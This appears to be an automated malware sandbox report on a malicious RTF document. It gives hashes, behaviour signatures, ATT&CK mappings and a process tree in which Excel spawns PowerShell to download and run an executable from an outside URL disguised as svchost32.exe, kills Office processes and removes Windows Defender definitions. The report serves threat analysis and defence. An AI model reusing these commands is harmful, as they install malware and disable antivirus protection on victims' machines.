7d99a30ca8f89ca4ad64055e2ec39e67fb07639e03ebc773b6375b742a7f1162

General

Target

fbcc5c125e18019a5e6e536a47d5a1a8_JaffaCakes118.rtf
Size

750KB
MD5

fbcc5c125e18019a5e6e536a47d5a1a8
SHA1

8c3b235607fe39ee44accbec28887547adf33550
SHA256

7d99a30ca8f89ca4ad64055e2ec39e67fb07639e03ebc773b6375b742a7f1162
SHA512

23d2e97b1b11588818244a10e9084beb5df2c4eb99f1eab145d5118dc7eb817501557144bb1dfba0133eab6a5f4af73546dfc33aa50a4b53e600094fbd36a535
SSDEEP

12288:OuqyHuqyNuqy/uqySuqyKuqypuqyWuqymuqy/uqyzS:zqyOqyAqy2qyPqy3qykqyLqybqy2qyW

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://panelonetwothree.ga/work/15.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4452	2764	powershell.exe	88
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	364	2764	cmd.exe	88
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4468	2764	powershell.exe	88
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2132	2764	cmd.exe	88

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
4452	powershell.exe
4468	powershell.exe
4452	powershell.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
1772	taskkill.exe
2192	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2428	WINWORD.EXE
2428	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
4452	powershell.exe
4452	powershell.exe
4468	powershell.exe
4452	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	1772	taskkill.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	2192	taskkill.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE
2764	EXCEL.EXE
2764	EXCEL.EXE
2764	EXCEL.EXE
2764	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 4452	2764	EXCEL.EXE	90
PID 2764 wrote to memory of 4452	2764	EXCEL.EXE	90
PID 2764 wrote to memory of 364	2764	EXCEL.EXE	91
PID 2764 wrote to memory of 364	2764	EXCEL.EXE	91
PID 2764 wrote to memory of 4468	2764	EXCEL.EXE	94
PID 2764 wrote to memory of 4468	2764	EXCEL.EXE	94
PID 2764 wrote to memory of 2132	2764	EXCEL.EXE	96
PID 2764 wrote to memory of 2132	2764	EXCEL.EXE	96
PID 364 wrote to memory of 1772	364	cmd.exe	98
PID 364 wrote to memory of 1772	364	cmd.exe	98
PID 4468 wrote to memory of 2192	4468	powershell.exe	100
PID 4468 wrote to memory of 2192	4468	powershell.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fbcc5c125e18019a5e6e536a47d5a1a8_JaffaCakes118.rtf" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2428

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://panelonetwothree.ga/work/15.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:364
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
  2⤵
  - Process spawned unexpected child process
  PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Filesize
2KB

MD5
57f4881fe81cc736f42ec947b2513ef3

SHA1
c5fa245c81764cad6da01e8fff33c7f6eab215b3

SHA256
f758038354d827688ed6914cb056434616d4d5ed7be942535c2fb2cb714529f1

SHA512
9e967ae683792a5b6bf1473a7421a46d80750a1761917f1238b462ef7053009400fae23e11ef10b0e3676ebd497ea90fca515b2e83f5b60f325536884a44445b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\49dbe2955480c7f6ef8cec9c4320c9868d9293fd.tbres

Filesize
2KB

MD5
269a1ec6c28d181e61ffb0188641b7fd

SHA1
a038299d25c20165fc698cbef211655807920f66

SHA256
733dcfc079a89ede3b8ed1a01357e1c51bef223a24dfd738ff5b950f0fe2de7d

SHA512
8638747c0710e371c853854801bfe0330c13b69f7ddbfe5925d8832c7b755df235d19b0ce68f69767b0e58b955dab47083d2e6395dd3990687797ee0ee9bd8a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0ab03b4ab0ee8273a1eea28cef1ca1e7

SHA1
8a305ca40e71bd2b04b20c65e28730e3ff3f50b2

SHA256
695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed

SHA512
7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zyqxwkta.piy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2428-15-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-19-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-9-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-7-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-6-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-14-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-13-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-16-0x00007FFE2A9E0000-0x00007FFE2A9F0000-memory.dmp

Filesize
64KB

Download
memory/2428-12-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-11-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-10-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-1-0x00007FFE6CE2D000-0x00007FFE6CE2E000-memory.dmp

Filesize
4KB

Download
memory/2428-18-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-20-0x00007FFE2A9E0000-0x00007FFE2A9F0000-memory.dmp

Filesize
64KB

Download
memory/2428-17-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-0-0x00007FFE2CE10000-0x00007FFE2CE20000-memory.dmp

Filesize
64KB

Download
memory/2428-2-0x00007FFE2CE10000-0x00007FFE2CE20000-memory.dmp

Filesize
64KB

Download
memory/2428-5-0x00007FFE2CE10000-0x00007FFE2CE20000-memory.dmp

Filesize
64KB

Download
memory/2428-82-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2428-4-0x00007FFE2CE10000-0x00007FFE2CE20000-memory.dmp

Filesize
64KB

Download
memory/2428-3-0x00007FFE2CE10000-0x00007FFE2CE20000-memory.dmp

Filesize
64KB

Download
memory/2428-8-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-40-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-41-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-43-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-83-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-42-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/2764-35-0x00007FFE6CD90000-0x00007FFE6CF85000-memory.dmp

Filesize
2.0MB

Download
memory/4468-68-0x000001DAA0A70000-0x000001DAA0A92000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads